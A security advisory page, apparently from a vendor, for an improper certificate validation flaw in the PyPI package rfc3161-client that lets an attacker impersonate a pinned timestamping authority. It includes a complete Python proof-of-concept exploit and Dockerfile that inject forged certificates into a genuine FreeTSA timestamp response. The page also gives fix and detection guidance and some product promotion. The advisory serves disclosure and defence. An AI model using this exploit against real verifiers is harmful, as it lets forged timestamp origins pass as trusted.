GHSA-3xxc-pwj6-jgrj
MEDIUMGHSA-3xxc-pwj6-jgrj is a medium-severity (CVSS 6.2) CWE-295 vulnerability in rfc3161-client. O3 Security confirms whether GHSA-3xxc-pwj6-jgrj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
rfc3161-client Has Improper Certificate Validation
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
rfc3161-clientReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.
Details
The root cause lies in rfc3161_client.verify.Verifier._verify_leaf_certs(). The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 SignedData bag using a naive algorithm:
leaf_certificate_found = None
for cert in certs:
if not [c for c in certs if c.issuer == cert.subject]:
leaf_certificate_found = cert
break
This loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does not rely on checking the ESSCertID or ESSCertIDv2 cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).
An attacker can exploit this by:
- Acquiring a legitimate, authentic TimeStampResponse from any widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.
- Generating a self-signed spoofed "proxy" certificate
Awith the exactSubject(e.g.,CN=Intended Corporate TSA) andExtendedKeyUsage(id-kp-timeStamping) required by the client'sVerifierBuilder. - Generating a dummy certificate
Dissued by the actual FreeTSA leaf certificate. - Appending both
AandDto thecertificateslist in the PKCS#7SignedDataof the TimeStampResponse.
When _verify_leaf_certs() executes, the dummy certificate D disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically "issues" D within the bag). The loop then evaluates the spoofed certificate A, realizes it issues nothing else in the bag, and selects it as leaf_certificate_found.
The library then processes the common_name and EKU checks exactly against A. Since A was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL pkcs7_verify backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.
PoC
The environment simulation and the PoC script have been included in the poc.py and Dockerfile artifacts:
Dockerfile (poc/Dockerfile):
FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]
The attack flow locally demonstrated in poc/poc.py:
import base64
import requests
from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm
from rfc3161_client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp
def main():
print("[*] Generating TimeStampRequest...")
req_builder = TimestampRequestBuilder(
data=b"hello world",
hash_algorithm=HashAlgorithm.SHA256,
cert_req=True
)
req = req_builder.build()
print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
resp = requests.post(
"https://freetsa.org/tsr",
data=req.as_bytes(),
headers={"Content-Type": "application/timestamp-query"}
)
if resp.status_code != 200:
print("[-] Failed to get TSA response. Is the network up?")
return
tsa_resp_bytes = resp.content
print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"),
])
# We create a self-signed spoofed certificate that meets all Python verification criteria
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
private_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow() - datetime.timedelta(days=1)
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=1)
).add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),
critical=True,
).sign(private_key, hashes.SHA256())
fake_cert_der = cert.public_bytes(serialization.Encoding.DER)
print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)
status = tinfo['status']['status'].native
if status != 'granted':
print(f"[-] Status not granted: {status}")
return
content_info = tinfo['time_stamp_token']
assert content_info['content_type'].native == 'signed_data'
signed_data = content_info['content']
certs = signed_data['certificates']
from asn1crypto.x509 import Certificate
fake_cert_asn1 = Certificate.load(fake_cert_der)
real_leaf_asn1 = None
for c in certs:
c_subject = c.chosen['tbs_certificate']['subject']
issues_something = False
for oc in certs:
if c == oc: continue
oc_issuer = oc.chosen['tbs_certificate']['issuer']
if c_subject == oc_issuer:
issues_something = True
break
if not issues_something:
real_leaf_asn1 = c
break
if real_leaf_asn1:
print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())
dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
dummy_cert = x509.CertificateBuilder().subject_name(
x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")])
).issuer_name(
real_leaf_crypto.subject
).public_key(
dummy_priv.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow() - datetime.timedelta(days=1)
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=1)
).sign(dummy_priv, hashes.SHA256())
dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))
certs.append(dummy_cert_asn1)
print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
certs.append(fake_cert_asn1)
malicious_resp_bytes = tinfo.dump()
print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
root_resp = requests.get("https://freetsa.org/files/cacert.pem")
root_cert = x509.load_pem_x509_certificate(root_resp.content)
# We must also download TSA.crt which acts as an intermediate for FreeTSA
tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt")
tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)
print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)
verifier = VerifierBuilder(
common_name="Spoofed TSA",
roots=[root_cert],
intermediates=[tsa_cert_obj],
).build()
print("[*] Attempting Verification...")
try:
verifier.verify_message(tsa_resp_obj, b"hello world")
print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n")
except Exception as e:
print("\n\033[91m[-] Verification failed:\033[0m", e)
if __name__ == '__main__':
main()
- Requests a timestamp from
https://freetsa.org/tsr. - Generates a fake cert with
common_name="Spoofed TSA"andExtendedKeyUsage=TIME_STAMPING. - Parses the authentic TS response, injects a dummy cert issued by FreeTSA's leaf.
- Injects the fake cert into the bag.
- Invokes
decode_timestamp_response()on the malicious bytes. - Runs
VerifierBuilder(common_name="Spoofed TSA", ...).verify_message(malicious_resp, msg). - Observes a successful verification bypassing the
common_nameconstraint.
Impact
Vulnerability Type: Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion
Impact: High. Applications relying on rfc3161-client to guarantee the origin of a timestamp via tsa_certificate or common_name pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold any valid timestamp from a CA trusted by the Verifier.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | rfc3161-client | all versions | 1.0.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rfc3161-client. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update rfc3161-client to 1.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3xxc-pwj6-jgrj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3xxc-pwj6-jgrj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3xxc-pwj6-jgrj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3xxc-pwj6-jgrj in your dependencies?
O3 detects GHSA-3xxc-pwj6-jgrj across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.